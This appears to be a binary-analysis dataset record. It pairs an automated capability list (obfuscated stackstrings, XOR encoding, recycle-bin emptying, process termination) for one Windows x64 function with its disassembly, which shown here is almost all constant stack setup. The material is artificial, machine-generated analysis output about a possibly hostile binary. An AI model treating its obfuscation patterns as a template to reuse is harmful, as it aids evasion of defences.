Function at 0x140003230
Capabilities:
Accept command line arguments
Authenticate hmac
Check for unexpected memory writes
Check os version
Contain obfuscated stackstrings
Create process on windows
Decompress data using quicklz
Empty the recycle bin
Encode data using base64
Encode data using xor
Enumerate files on windows
Extract resource via kernel32 functions
Get common file path
Get file size
Get file system object information
Get system information on windows
Get thread local storage value
Hash data using fnv
Manipulate console buffer
Move file
Parse pe header
Query environment variable
Read file on windows
Read from mailslot
Read pipe
Set environment variable
Set file attributes
Set thread local storage value
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x2e4a8
call fcn.140232010
sub rsp, rax
mov rax, qword [0x1402c0800]
xor rax, rsp
mov qword [rsp + 0x2e490], rax
mov eax, 0x1e4
mov word [rsp + 0x1150], ax
mov eax, 0x76d
mov word [rsp + 0x1154], ax
movabs rax, 0x7ea060727fda10
mov qword [rsp + 0xe720], rax
mov eax, 0x841
mov word [rsp + 0x1158], ax
mov eax, 0x584
mov word [rsp + 0x115c], ax
mov byte [rsp + 0x40], 0xa0
mov byte [rsp + 0x41], 0x34
mov byte [rsp + 0x42], 1
movabs rax, 0x7521e275cca9a3
mov qword [rsp + 0xe728], rax
mov eax, 0x1d5
mov word [rsp + 0x1160], ax
mov byte [rsp + 0x43], 0x63
movabs rax, 0x73e11d0262e50a
mov qword [rsp + 0xe730], rax
mov dword [rsp + 0x76d4], 0x6723
mov dword [rsp + 0x76d8], 0x35c0
mov byte [rsp + 0x44], SHTestTokenMembership
mov byte [rsp + 0x45], 0xe0
mov byte [rsp + 0x46], 0x41
mov dword [rsp + 0x76dc], 0x2156
mov eax, 0x5d3
mov word [rsp + 0x1164], ax
mov byte [rsp + 0x47], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x48], reloc.SHELL32.dll_PathMakeUniqueName
movabs rax, 0x731433baada6d2
mov qword [rsp + 0xe738], rax
mov dword [rsp + 0x76e0], 0xeaba
movabs rax, 0x733d201cf00462
mov qword [rsp + 0xe740], rax
mov byte [rsp + 0x49], 0x59
mov eax, 0x388
mov word [rsp + 0x1168], ax
mov dword [rsp + 0x76e4], 0xd948
movabs rax, 0x7640f99e9e874d
mov qword [rsp + 0xe748], rax
mov dword [rsp + 0x76e8], 0x703b
movabs rax, 0x7b5b1d78dc50f9
mov qword [rsp + 0xe750], rax
mov byte [rsp + 0x4a], 0xd5
movabs rax, 0x747ebac06a7977
mov qword [rsp + 0xe758], rax
mov dword [rsp + 0x76ec], 0x6a4
movabs rax, 0x7104ad4055b02c
mov qword [rsp + 0xe760], rax
mov dword [rsp + 0x76f0], 0x5698
mov dword [rsp + 0x76f4], 0x4cc4
movabs rax, 0x7afcd38271ec61
mov qword [rsp + 0xe768], rax
mov dword [rsp + 0x76f8], 0x2165
mov byte [rsp + 0x4b], 0x6f
mov byte [rsp + 0x4c], 0xdb
mov dword [rsp + 0x76fc], 0x7a8a
mov eax, 0x78b
mov word [rsp + 0x116c], ax
mov byte [rsp + 0x4d], 0x50
mov eax, 0x5ba
mov word [rsp + 0x1170], ax
movabs rax, 0x7ad9f76f9b2b29
mov qword [rsp + 0xe770], rax
mov dword [rsp + 0x7700], 0x6c5c
movabs rax, 0x785910ffc9cdd5
mov qword [rsp + 0xe778], rax
movabs rax, 0x70d60d9e0b25a3
mov qword [rsp + 0xe780], rax
mov eax, 0x9b9
mov word [rsp + 0x1174], ax
mov byte [rsp + 0x4e], 0xe2
mov byte [rsp + 0x4f], 0xed
mov eax, 0x642
mov word [rsp + 0x1178], ax
mov eax, 0xed6
mov word [rsp + 0x117c], ax
mov dword [rsp + 0x7704], 0x2897
movabs rax, 0x73be30647397cc
mov qword [rsp + 0xe788], rax
mov byte [rsp + 0x50], 0xde
mov dword [rsp + 0x7708], 0x4adf
movabs rax, 0x7bf397a279f575
mov qword [rsp + 0xe790], rax
mov byte [rsp + 0x51], 0xc3
mov byte [rsp + 0x52], 0x83
mov eax, 0x2ff
mov word [rsp + 0x1180], ax
mov eax, 0x233
mov word [rsp + 0x1184], ax
movabs rax, 0x7d95eda53c9f3a
mov qword [rsp + 0xe798], rax
mov dword [rsp + 0x770c], 0xb306
mov eax, 0x25d
mov word [rsp + 0x1188], ax
movabs rax, 0x733843cf3e34e2
mov qword [rsp + 0xe7a0], rax
mov eax, 0x945
mov word [rsp + 0x118c], ax
mov dword [rsp + 0x7710], 0x8a8b
mov eax, 0x76e
mov word [rsp + 0x1190], ax
mov byte [rsp + 0x53], 0x32
movabs rax, 0x7b6ccf1485ea3d
mov qword [rsp + 0xe7a8], rax
movabs rax, 0x71703d8020f60e
mov qword [rsp + 0xe7b0], rax
mov byte [rsp + 0x54], 0x7b
mov dword [rsp + 0x7714], 0x339a
mov dword [rsp + 0x7718], 0x2092
mov byte [rsp + 0x55], 0x91
movabs rax, 0x7b9cedfbef1df8
mov qword [rsp + 0xe7b8], rax
movabs rax, 0x72823972347f62
mov qword [rsp + 0xe7c0], rax
mov dword [rsp + 0x771c], 0x9c56
movabs rax, 0x7bff7922b9bb89
mov qword [rsp + 0xe7c8], rax
mov eax, 0x952
mov word [rsp + 0x1194], ax
mov byte [rsp + 0x56], 0x66
mov byte [rsp + 0x57], 0x52
mov eax, 0x24b
mov word [rsp + 0x1198], ax
mov dword [rsp + 0x7720], 0x26c8
mov dword [rsp + 0x7724], 0x4cb8
mov byte [rsp + 0x58], 0xd5
mov byte [rsp + 0x59], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x7728], 0x2296
mov eax, 0xcde
mov word [rsp + 0x119c], ax
mov eax, 0x2bc
mov word [rsp + 0x11a0], ax
mov byte [rsp + 0x5a], SHTestTokenMembership
mov byte [rsp + 0x5b], 0x90
mov byte [rsp + 0x5c], 0x3a
mov dword [rsp + 0x772c], 0x3a3c
mov eax, 0x15e
mov word [rsp + 0x11a4], ax
mov eax, 0x628
mov word [rsp + 0x11a8], ax
mov eax, 0xcce
mov word [rsp + 0x11ac], ax
mov byte [rsp + 0x5d], 0x3e
mov eax, 0x117
mov word [rsp + 0x11b0], ax
movabs rax, 0x721d8ea02193d0
mov qword [rsp + 0xe7d0], rax
mov eax, 0xc2b
mov word [rsp + 0x11b4], ax
movabs rax, 0x740652add056e4
mov qword [rsp + 0xe7d8], rax
mov eax, 0x994
mov word [rsp + 0x11b8], ax
movabs rax, 0x7b7921c06f9377
mov qword [rsp + 0xe7e0], rax
mov dword [rsp + 0x7730], 0xb950
mov dword [rsp + 0x7734], 0xd78e
mov eax, 0x7f5
mov word [rsp + 0x11bc], ax
mov dword [rsp + 0x7738], 0x3920
mov dword [rsp + 0x773c], 0xbe5d
mov eax, 0x68
mov word [rsp + 0x11c0], ax
mov dword [rsp + 0x7740], 0x7bcc
mov eax, 0xfd6
mov word [rsp + 0x11c4], ax
movabs rax, 0x74520a9de72069
mov qword [rsp + 0xe7e8], rax
mov byte [rsp + 0x5e], 0x64
movabs rax, 0x7001a33b52371e
mov qword [rsp + 0xe7f0], rax
mov dword [rsp + 0x7744], 0xdade
mov byte [rsp + 0x5f], 0x54
mov eax, 0xb37
mov word [rsp + 0x11c8], ax
movabs rax, 0x7143559e649e9e
mov qword [rsp + 0xe7f8], rax
mov eax, 0x586
mov word [rsp + 0x11cc], ax
mov byte [rsp + 0x60], 0x5a
mov eax, PathMakeUniqueName
mov word [rsp + 0x11d0], ax
mov dword [rsp + 0x7748], 0x217
mov byte [rsp + 0x61], 0x68
movabs rax, 0x7bf8f451faf648
mov qword [rsp + 0xe800], rax
mov dword [rsp + 0x774c], 0xe02a
mov eax, 0x7f8
mov word [rsp + 0x11d4], ax
mov byte [rsp + 0x62], ILRemoveLastID
mov byte [rsp + 0x63], 0x34
mov dword [rsp + 0x7750], 0xed67
movabs rax, 0x7215214bfaf6b6
mov qword [rsp + 0xe808], rax
mov byte [rsp + 0x64], 0x1f
movabs rax, 0x74de47ad1fc987
mov qword [rsp + 0xe810], rax
movabs rax, 0x71df80b0c51b14
mov qword [rsp + 0xe818], rax
mov dword [rsp + 0x7754], 0x4b6f
mov eax, 0xf27
mov word [rsp + 0x11d8], ax
mov eax, 0xdb7
mov word [rsp + 0x11dc], ax
mov dword [rsp + 0x7758], 0x1a89
mov eax, 0x74
mov word [rsp + 0x11e0], ax
mov eax, 0x6af
mov word [rsp + 0x11e4], ax
movabs rax, 0x7cfbff6c6e481d
mov qword [rsp + 0xe820], rax
mov eax, 0x7fe
mov word [rsp + 0x11e8], ax
movabs rax, 0x70cc156ed47418
mov qword [rsp + 0xe828], rax
movabs rax, 0x70422ba916e271
mov qword [rsp + 0xe830], rax
mov eax, 0x500
mov word [rsp + 0x11ec], ax
movabs rax, 0x710ae61c98151a
mov qword [rsp + 0xe838], rax
mov dword [rsp + 0x775c], 0x5d90
mov eax, 0x787
mov word [rsp + 0x11f0], ax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x11f4], ax
mov dword [rsp + 0x7760], 0x5dce
movabs rax, 0x7d0faf75433afc
mov qword [rsp + 0xe840], rax
mov dword [rsp + 0x7764], 0x6203
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0x11f8], ax
mov dword [rsp + 0x7768], 0xebb9
movabs rax, 0x7cd9476a5da234
mov qword [rsp + 0xe848], rax
mov eax, 0x602
mov word [rsp + 0x11fc], ax
mov eax, 0x2c5
mov word [rsp + 0x1200], ax
movabs rax, 0x79afe2e0c292e0
mov qword [rsp + 0xe850], rax
mov eax, 0x2cf
mov word [rsp + 0x1204], ax
mov dword [rsp + 0x776c], 0x3f73
mov eax, 0x1ce
mov word [rsp + 0x1208], ax
movabs rax, 0x77d57536774f10
mov qword [rsp + 0xe858], rax
mov dword [rsp + 0x7770], 0x1c14
movabs rax, 0x768cc6c263a910
mov qword [rsp + 0xe860], rax
mov byte [rsp + 0x65], 0x75
movabs rax, 0x71c68e3aceefb4
mov qword [rsp + 0xe868], rax
mov eax, 0x1ae
mov word [rsp + 0x120c], ax
movabs rax, 0x7e2bb923905d46
mov qword [rsp + 0xe870], rax
movabs rax, 0x70bed743af9164
mov qword [rsp + 0xe878], rax
mov dword [rsp + 0x7774], 0x4185
movabs rax, 0x7dfe6f99796dab
mov qword [rsp + 0xe880], rax
mov dword [rsp + 0x7778], 0x19e7
movabs rax, 0x788554dc55be75
mov qword [rsp + 0xe888], rax
movabs rax, 0x752cff309d12ba
mov qword [rsp + 0xe890], rax
movabs rax, 0x7146c86ebd1c16
mov qword [rsp + 0xe898], rax
mov dword [rsp + 0x777c], 0x7d70
mov dword [rsp + 0x7780], 0x5990
mov dword [rsp + 0x7784], 0x1ab5
mov dword [rsp + 0x7788], 0xdb0c
mov dword [rsp + 0x778c], 0x1bd5
mov dword [rsp + 0x7790], 0x33b7
movabs rax, 0x79ef8b9ee18e2a
mov qword [rsp + 0xe8a0], rax
mov byte [rsp + 0x66], 0x1d
mov eax, 0x5c6
mov word [rsp + 0x1210], ax
movabs rax, 0x7d01b811e32b33
mov qword [rsp + 0xe8a8], rax
mov dword [rsp + 0x7794], 0x1a9e
mov eax, 0x39c
mov word [rsp + 0x1214], ax
mov eax, 0x73d
mov word [rsp + 0x1218], ax
mov dword [rsp + 0x7798], 0xe07b
mov dword [rsp + 0x779c], 0x78ee
movabs rax, 0x72a8bc2416c196
mov qword [rsp + 0xe8b0], rax
movabs rax, 0x7e27773ca86f4f
mov qword [rsp + 0xe8b8], rax
mov dword [rsp + 0x77a0], 0x2f51
mov dword [rsp + 0x77a4], 0x6ef2
mov byte [rsp + 0x67], 0x34
mov byte [rsp + 0x68], 0x36
movabs rax, 0x7bb47e8acb795e
mov qword [rsp + 0xe8c0], rax
movabs rax, 0x7e561aa209afdf
mov qword [rsp + 0xe8c8], rax
movabs rax, 0x73d0a961abe7dd
mov qword [rsp + 0xe8d0], rax
mov dword [rsp + 0x77a8], 0x1ca8
mov dword [rsp + 0x77ac], 0x579a
movabs rax, 0x7b7ee4040d2d7f
mov qword [rsp + 0xe8d8], rax
mov dword [rsp + 0x77b0], 0x4095
mov dword [rsp + 0x77b4], 0x35c3
mov dword [rsp + 0x77b8], 0x2c0b
movabs rax, 0x70b3f113156224
mov qword [rsp + 0xe8e0], rax
mov byte [rsp + 0x69], 0x84
movabs rax, 0x70b74a3c711237
mov qword [rsp + 0xe8e8], rax
mov dword [rsp + 0x77bc], 0xe391
mov eax, 0x63
mov word [rsp + 0x121c], ax
mov eax, 0x4a8
mov word [rsp + 0x1220], ax
mov eax, 0x21a
mov word [rsp + 0x1224], ax
mov byte [rsp + 0x6a], 0x6b
mov dword [rsp + 0x77c0], 0xe04a
mov byte [rsp + 0x6b], 0xb
mov dword [rsp + 0x77c4], 0xf8f1
movabs rax, 0x77fb466773d615
mov qword [rsp + 0xe8f0], rax
mov byte [rsp + 0x6c], reloc.SHELL32.dll_ILFree
movabs rax, 0x7c4ecdf9c0473b
mov qword [rsp + 0xe8f8], rax
mov byte [rsp + 0x6d], 0x23
movabs rax, 0x7ef0375f3fc352
mov qword [rsp + 0xe900], rax
mov eax, 0x72b
mov word [rsp + 0x1228], ax
movabs rax, 0x709099dd3c3eff
mov qword [rsp + 0xe908], rax
mov eax, 0x40c
mov word [rsp + 0x122c], ax
movabs rax, 0x7cfe783cce2474
mov qword [rsp + 0xe910], rax
mov dword [rsp + 0x77c8], 0x74a
mov byte [rsp + 0x6e], 0x7d
mov eax, 0x2f4
mov word [rsp + 0x1230], ax
mov dword [rsp + 0x77cc], 0x43f5
movabs rax, 0x7193d8f63dbbb4
mov qword [rsp + 0xe918], rax
mov eax, 0x472
mov word [rsp + 0x1234], ax
movabs rax, 0x7a4c5e4da3c158
mov qword [rsp + 0xe920], rax
movabs rax, 0x79ab57fefb3de3
mov qword [rsp + 0xe928], rax
mov byte [rsp + 0x6f], 0xa6
mov dword [rsp + 0x77d0], 0xdca6
mov dword [rsp + 0x77d4], 0xd02c
mov dword [rsp + 0x77d8], 0x5672
movabs rax, 0x75b3807800e576
mov qword [rsp + 0xe930], rax
movabs rax, 0x7caceed2fbc385
mov qword [rsp + 0xe938], rax
mov dword [rsp + 0x77dc], 0x4dcd
mov byte [rsp + 0x70], 0x24
mov eax, 0x598
mov word [rsp + 0x1238], ax
movabs rax, 0x7ae8c3bdc89232
mov qword [rsp + 0xe940], rax
mov byte [rsp + 0x71], ILClone
movabs rax, 0x7ab48d5ad1ea93
mov qword [rsp + 0xe948], rax
mov eax, 0x5ed
mov word [rsp + 0x123c], ax
mov byte [rsp + 0x72], 0x63
mov eax, 0x8bc
mov word [rsp + 0x1240], ax
movabs rax, 0x7a70805b0a7f31
mov qword [rsp + 0xe950], rax
mov dword [rsp + 0x77e0], 0x4c55
movabs rax, 0x752e473d2d7aad
mov qword [rsp + 0xe958], rax
mov eax, 0xe1d
mov word [rsp + 0x1244], ax
mov dword [rsp + 0x77e4], 0x18f2
mov byte [rsp + 0x73], 0xab
movabs rax, 0x766205cc724a2d
mov qword [rsp + 0xe960], rax
movabs rax, 0x7a00a9ca3c3db5
mov qword [rsp + 0xe968], rax
mov dword [rsp + 0x77e8], 0x526
movabs rax, 0x7e7add25bebdd4
mov qword [rsp + 0xe970], rax
mov byte [rsp + 0x74], 0x3a
movabs rax, 0x73a2282335eb69
mov qword [rsp + 0xe978], rax
mov eax, 0x5d5
mov word [rsp + 0x1248], ax
mov eax, 0x1cb
mov word [rsp + 0x124c], ax
movabs rax, 0x74f9d4f0241353
mov qword [rsp + 0xe980], rax
mov byte [rsp + 0x75], 0x20
mov eax, 0x6a3
mov word [rsp + 0x1250], ax
mov dword [rsp + 0x77ec], 0x8328
mov dword [rsp + 0x77f0], 0x698
movabs rax, 0x7656f0e646db7e
mov qword [rsp + 0xe988], rax
mov dword [rsp + 0x77f4], 0x5246
mov eax, 0x136
mov word [rsp + 0x1254], ax
movabs rax, 0x71ff79aaf47ab8
mov qword [rsp + 0xe990], rax
mov byte [rsp + 0x76], 4
mov dword [rsp + 0x77f8], 0xfa50
mov byte [rsp + 0x77], 0x7f
mov dword [rsp + 0x77fc], 0x156f
mov dword [rsp + 0x7800], 0x4a6d
mov dword [rsp + 0x7804], 0x7d56
movabs rax, 0x73da958157142e
mov qword [rsp + 0xe998], rax
mov eax, 0x433
mov word [rsp + 0x1258], ax
mov eax, 0xb3f
mov word [rsp + 0x125c], ax
movabs rax, 0x7bde50ea1b1a79
mov qword [rsp + 0xe9a0], rax
movabs rax, 0x756aa475961bb5
mov qword [rsp + 0xe9a8], rax
mov dword [rsp + 0x7808], 0x2fdd
mov dword [rsp + 0x780c], 0x2327
movabs rax, 0x7399e874bee507
mov qword [rsp + 0xe9b0], rax
movabs rax, 0x73e85ceb1095f1
mov qword [rsp + 0xe9b8], rax
movabs rax, 0x78e87545205843
mov qword [rsp + 0xe9c0], rax
mov eax, 0x92e
mov word [rsp + 0x1260], ax
mov eax, 0x6ce
mov word [rsp + 0x1264], ax
movabs rax, 0x758832d5cd1903
mov qword [rsp + 0xe9c8], rax
mov eax, 0x827
mov word [rsp + 0x1268], ax
movabs rax, 0x749ac19e779655
mov qword [rsp + 0xe9d0], rax
mov eax, 0x174
mov word [rsp + 0x126c], ax
mov dword [rsp + 0x7810], 0x1a78
mov dword [rsp + 0x7814], 0x3bb3
mov byte [rsp + 0x78], 0x55
mov eax, 0xe7e
mov word [rsp + 0x1270], ax
mov dword [rsp + 0x7818], 0x7c98
mov dword [rsp + 0x781c], 0xc5a1
mov byte [rsp + 0x79], 0xb8
mov eax, 0x143
mov word [rsp + 0x1274], ax
movabs rax, 0x71cd975fd16729
mov qword [rsp + 0xe9d8], rax
mov eax, 0x132
mov word [rsp + 0x1278], ax
movabs rax, 0x74c6d2da85da9b
mov qword [rsp + 0xe9e0], rax
mov dword [rsp + 0x7820], 0xac
mov byte [rsp + 0x7a], ILSaveToStream
mov byte [rsp + 0x7b], 0xec
movabs rax, 0x71977feeee21e0
mov qword [rsp + 0xe9e8], rax
movabs rax, 0x7bef03be3143bb
mov qword [rsp + 0xe9f0], rax
mov eax, 0x620
mov word [rsp + 0x127c], ax
mov dword [rsp + 0x7824], 0xb601
movabs rax, 0x75204ab5c7ec4e
mov qword [rsp + 0xe9f8], rax
movabs rax, 0x7a43ff0dd86d8e
mov qword [rsp + 0xea00], rax
movabs rax, 0x7ecf84ccf6363a
mov qword [rsp + 0xea08], rax
mov byte [rsp + 0x7c], ILClone
movabs rax, 0x75690282a94687
mov qword [rsp + 0xea10], rax
mov eax, 0xc1
mov word [rsp + 0x1280], ax
mov dword [rsp + 0x7828], 0x35d7
mov eax, 0xffc
mov word [rsp + 0x1284], ax
mov byte [rsp + 0x7d], 0x3a
mov dword [rsp + 0x782c], 0x2160
mov byte [rsp + 0x7e], 0xc3
mov eax, 0x672
mov word [rsp + 0x1288], ax
mov byte [rsp + 0x7f], 0x7a
mov eax, 0xc7c
mov word [rsp + 0x128c], ax
mov eax, 0xc38
mov word [rsp + 0x1290], ax
movabs rax, 0x7cd80b43a6b586
mov qword [rsp + 0xea18], rax
mov eax, 0x382
mov word [rsp + 0x1294], ax
mov eax, 0x617
mov word [rsp + 0x1298], ax
movabs rax, 0x769284a2ff3da8
mov qword [rsp + 0xea20], rax
mov dword [rsp + 0x7830], 0x7d6
mov dword [rsp + 0x7834], 0x7497
movabs rax, 0x727d6da556e2b2
mov qword [rsp + 0xea28], rax
mov eax, 0xb05
mov word [rsp + 0x129c], ax
mov byte [rsp + 0x80], 0xfc
mov eax, 0x3c
mov word [rsp + 0x12a0], ax
movabs rax, 0x77535323c647ad
mov qword [rsp + 0xea30], rax
movabs rax, 0x7b410aaf626aa5
mov qword [rsp + 0xea38], rax
mov byte [rsp + 0x81], 0x38
mov eax, 0x1ae
mov word [rsp + 0x12a4], ax
mov byte [rsp + 0x82], ILClone
mov dword [rsp + 0x7838], 0x7f80
mov byte [rsp + 0x83], PathYetAnotherMakeUniqueName
mov eax, 0x515
mov word [rsp + 0x12a8], ax
mov dword [rsp + 0x783c], 0xca4a
movabs rax, 0x70e52913d4299e
mov qword [rsp + 0xea40], rax
movabs rax, 0x70e15fd944d20c
mov qword [rsp + 0xea48], rax
movabs rax, 0x7691bc5035edaf
mov qword [rsp + 0xea50], rax
mov dword [rsp + 0x7840], 0x3f8d
mov byte [rsp + 0x84], 0x20
mov eax, 0x1a9
mov word [rsp + 0x12ac], ax
mov byte [rsp + 0x85], 0x65
mov dword [rsp + 0x7844], 0x3fbf
movabs rax, 0x762fd46e791b5f
mov qword [rsp + 0xea58], rax
mov eax, 0x5c4
mov word [rsp + 0x12b0], ax
mov byte [rsp + 0x86], 0xd9
movabs rax, 0x710e5c7d9ea64b
mov qword [rsp + 0xea60], rax
mov dword [rsp + 0x7848], 0xbb53
movabs rax, 0x7c3b8dc70fe421
mov qword [rsp + 0xea68], rax
movabs rax, 0x7d8eb51409fbe9
mov qword [rsp + 0xea70], rax
movabs rax, 0x7235e811e99d9b
mov qword [rsp + 0xea78], rax
movabs rax, 0x795dbc6a2900ef
mov qword [rsp + 0xea80], rax
mov eax, 0x69a
mov word [rsp + 0x12b4], ax
movabs rax, 0x79590ba1d46a17
mov qword [rsp + 0xea88], rax
mov dword [rsp + 0x784c], 0x15d8
movabs rax, 0x7da3db656c9c0d
mov qword [rsp + 0xea90], rax
mov dword [rsp + 0x7850], 0x3033
mov dword [rsp + 0x7854], 0x3f63
mov byte [rsp + 0x87], PathMakeUniqueName
movabs rax, 0x7686ca1bac5298
mov qword [rsp + 0xea98], rax
mov eax, 0x56
mov word [rsp + 0x12b8], ax
mov dword [rsp + 0x7858], 0x281f
mov dword [rsp + 0x785c], 0x80a9
mov dword [rsp + 0x7860], 0x739a
movabs rax, 0x76e42f28f2708f
mov qword [rsp + 0xeaa0], rax
mov eax, 0x4c1
mov word [rsp + 0x12bc], ax
mov byte [rsp + 0x88], PathYetAnotherMakeUniqueName
movabs rax, 0x79fb165108d515
mov qword [rsp + 0xeaa8], rax
mov dword [rsp + 0x7864], 0x1ec
mov eax, 0x4e4
mov word [rsp + 0x12c0], ax
movabs rax, 0x7a850f2870d4fd
mov qword [rsp + 0xeab0], rax
movabs rax, 0x750aea72ff8a5d
mov qword [rsp + 0xeab8], rax
mov eax, 0xb79
mov word [rsp + 0x12c4], ax
mov dword [rsp + 0x7868], 0x3017
mov dword [rsp + 0x786c], 0xf25f
movabs rax, 0x76559dfb1db705
mov qword [rsp + 0xeac0], rax
mov byte [rsp + 0x89], 0xe1
mov dword [rsp + 0x7870], 0x4846
mov byte [rsp + 0x8a], 0x75
mov dword [rsp + 0x7874], 0xf544
mov eax, 0x692
mov word [rsp + 0x12c8], ax
mov eax, 0x23f
mov word [rsp + 0x12cc], ax
movabs rax, 0x735f1e6700236b
mov qword [rsp + 0xeac8], rax
mov eax, 0xf82
mov word [rsp + 0x12d0], ax
mov eax, 0x2ac
mov word [rsp + 0x12d4], ax
mov eax, 0x263
mov word [rsp + 0x12d8], ax
mov dword [rsp + 0x7878], 0x5209
mov eax, 0xa1a
mov word [rsp + 0x12dc], ax
movabs rax, 0x7ed426e5fde847
mov qword [rsp + 0xead0], rax
mov byte [rsp + 0x8b], 0
mov eax, 0x5ab
mov word [rsp + 0x12e0], ax
mov eax, 0x12a
mov word [rsp + 0x12e4], ax
movabs rax, 0x7c907a332454ac
mov qword [rsp + 0xead8], rax
movabs rax, 0x79a01ba94ed6e8
mov qword [rsp + 0xeae0], rax
mov byte [rsp + 0x8c], 0xf8
mov dword [rsp + 0x787c], 0x3877
mov dword [rsp + 0x7880], 0x5a8d
mov byte [rsp + 0x8d], 0x3b
mov dword [rsp + 0x7884], 0x1457
mov byte [rsp + 0x8e], 8
mov byte [rsp + 0x8f], 0x4e
mov eax, 0x26d
mov word [rsp + 0x12e8], ax
mov eax, 0x763
mov word [rsp + 0x12ec], ax
movabs rax, 0x76e14354d29cdf
mov qword [rsp + 0xeae8], rax
mov byte [rsp + 0x90], ILSaveToStream
mov eax, 0x3da
mov word [rsp + 0x12f0], ax
mov dword [rsp + 0x7888], 0x3428
mov byte [rsp + 0x91], 0xda
mov eax, 0x611
mov word [rsp + 0x12f4], ax
mov dword [rsp + 0x788c], 0x1065
mov dword [rsp + 0x7890], 0x8597
mov dword [rsp + 0x7894], 0x2f87
mov byte [rsp + 0x92], ILClone
mov dword [rsp + 0x7898], 0xb390
mov eax, 0x759
mov word [rsp + 0x12f8], ax
mov byte [rsp + 0x93], 0x55
mov dword [rsp + 0x789c], 0x9303
mov byte [rsp + 0x94], 0x8d
mov byte [rsp + 0x95], ILSaveToStream
mov eax, 0x37a
mov word [rsp + 0x12fc], ax
mov byte [rsp + 0x96], 0x21
movabs rax, 0x774bce8bc94dee
mov qword [rsp + 0xeaf0], rax
mov byte [rsp + 0x97], 0x90
mov dword [rsp + 0x78a0], 0xb928
mov byte [rsp + 0x98], 0x41
movabs rax, 0x720b222b549104
mov qword [rsp + 0xeaf8], rax
movabs rax, 0x77d2842395e157
mov qword [rsp + 0xeb00], rax
movabs rax, 0x7465d270425a57
mov qword [rsp + 0xeb08], rax
mov byte [rsp + 0x99], ILGetNext
movabs rax, 0x7574bac5ee983b
mov qword [rsp + 0xeb10], rax
movabs rax, 0x7368a042b0be8c
mov qword [rsp + 0xeb18], rax
mov byte [rsp + 0x9a], ILGetNext
movabs rax, 0x7ab8f24ed8917f
mov qword [rsp + 0xeb20], rax
mov byte [rsp + 0x9b], 6
mov eax, 0x173
mov word [rsp + 0x1300], ax
movabs rax, 0x77c91aed90fabd
mov qword [rsp + 0xeb28], rax
mov eax, 0xc65
mov word [rsp + 0x1304], ax
mov byte [rsp + 0x9c], 0x33
movabs rax, 0x72cd0e87e3f36b
mov qword [rsp + 0xeb30], rax
mov dword [rsp + 0x78a4], 0xbe62
mov byte [rsp + 0x9d], 0x86
mov eax, 0x7ac
mov word [rsp + 0x1308], ax
mov dword [rsp + 0x78a8], 0x2697
movabs rax, 0x70d7b20fab730d
mov qword [rsp + 0xeb38], rax
movabs rax, 0x706602f3220cdd
mov qword [rsp + 0xeb40], rax
mov byte [rsp + 0x9e], 0x54
mov dword [rsp + 0x78ac], 0x2ad3
movabs rax, 0x7a711b588a8ebc
mov qword [rsp + 0xeb48], rax
movabs rax, 0x78875569881681
mov qword [rsp + 0xeb50], rax
movabs rax, 0x7c55eba421190b
mov qword [rsp + 0xeb58], rax
mov dword [rsp + 0x78b0], 0x6ec2
movabs rax, 0x7e20377fa59d20
mov qword [rsp + 0xeb60], rax
mov eax, 0xe18
mov word [rsp + 0x130c], ax
mov dword [rsp + 0x78b4], 0x9fe3
mov dword [rsp + 0x78b8], 0x77c4
mov dword [rsp + 0x78bc], 0x331b
movabs rax, 0x7c75ab6e6149f5
mov qword [rsp + 0xeb68], rax
mov dword [rsp + 0x78c0], 0xc4d7
mov dword [rsp + 0x78c4], 0x990c
movabs rax, 0x7c05de990c311d
mov qword [rsp + 0xeb70], rax
mov byte [rsp + 0x9f], 0x3d
mov dword [rsp + 0x78c8], 0x5a56
mov dword [rsp + 0x78cc], 0x2fee
movabs rax, 0x711cdb150bbd7b
mov qword [rsp + 0xeb78], rax
mov eax, 0x2f8
mov word [rsp + 0x1310], ax
mov eax, 0x3de
mov word [rsp + 0x1314], ax
mov dword [rsp + 0x78d0], 0x1f34
mov dword [rsp + 0x78d4], 0xf203
mov byte [rsp + 0xa0], 0x5d
mov eax, 0x77a
mov word [rsp + 0x1318], ax
mov eax, 0xad3
mov word [rsp + 0x131c], ax
movabs rax, 0x7b836c48ea1231
mov qword [rsp + 0xeb80], rax
mov byte [rsp + 0xa1], SHUpdateImageW
mov eax, 0x26b
mov word [rsp + 0x1320], ax
mov byte [rsp + 0xa2], 0x68
mov eax, 0xa05
mov word [rsp + 0x1324], ax
mov dword [rsp + 0x78d8], 0x7131
movabs rax, 0x74e9c38602e935
mov qword [rsp + 0xeb88], rax
movabs rax, 0x75807559000b8a
mov qword [rsp + 0xeb90], rax
mov eax, 0xadd
mov word [rsp + 0x1328], ax
mov dword [rsp + 0x78dc], 0x21ae
movabs rax, 0x7079b5e47d6140
mov qword [rsp + 0xeb98], rax
movabs rax, 0x7c94f06267853a
mov qword [rsp + 0xeba0], rax
movabs rax, 0x794f9fe8aad021
mov qword [rsp + 0xeba8], rax
mov dword [rsp + 0x78e0], 0x415b
mov eax, 0x90c
mov word [rsp + 0x132c], ax
mov eax, 0xc0b
mov word [rsp + 0x1330], ax
mov eax, 0x63f
mov word [rsp + 0x1334], ax
mov eax, 0x534
mov word [rsp + 0x1338], ax
mov dword [rsp + 0x78e4], 0x78f3
mov byte [rsp + 0xa3], 0x23
mov byte [rsp + 0xa4], 0xa
mov eax, 0x216
mov word [rsp + 0x133c], ax
mov dword [rsp + 0x78e8], 0x17b3
mov byte [rsp + 0xa5], 0x52
mov dword [rsp + 0x78ec], 0x1f86
mov eax, 0x90c
mov word [rsp + 0x1340], ax
mov eax, 0x316
mov word [rsp + 0x1344], ax
mov dword [rsp + 0x78f0], 0x8bd3
movabs rax, 0x72f5caccd0076f
mov qword [rsp + 0xebb0], rax
mov byte [rsp + 0xa6], 0x4f
mov eax, 0x5e5
mov word [rsp + 0x1348], ax
mov dword [rsp + 0x78f4], 0xe781
movabs rax, 0x79030494416f1a
mov qword [rsp + 0xebb8], rax
mov byte [rsp + 0xa7], 0x39
mov eax, 0x610
mov word [rsp + 0x134c], ax
movabs rax, 0x70337fcf8f9a07
mov qword [rsp + 0xebc0], rax
movabs rax, 0x7d1c2effa683d1
mov qword [rsp + 0xebc8], rax
mov byte [rsp + 0xa8], ILClone
mov dword [rsp + 0x78f8], 0x9253
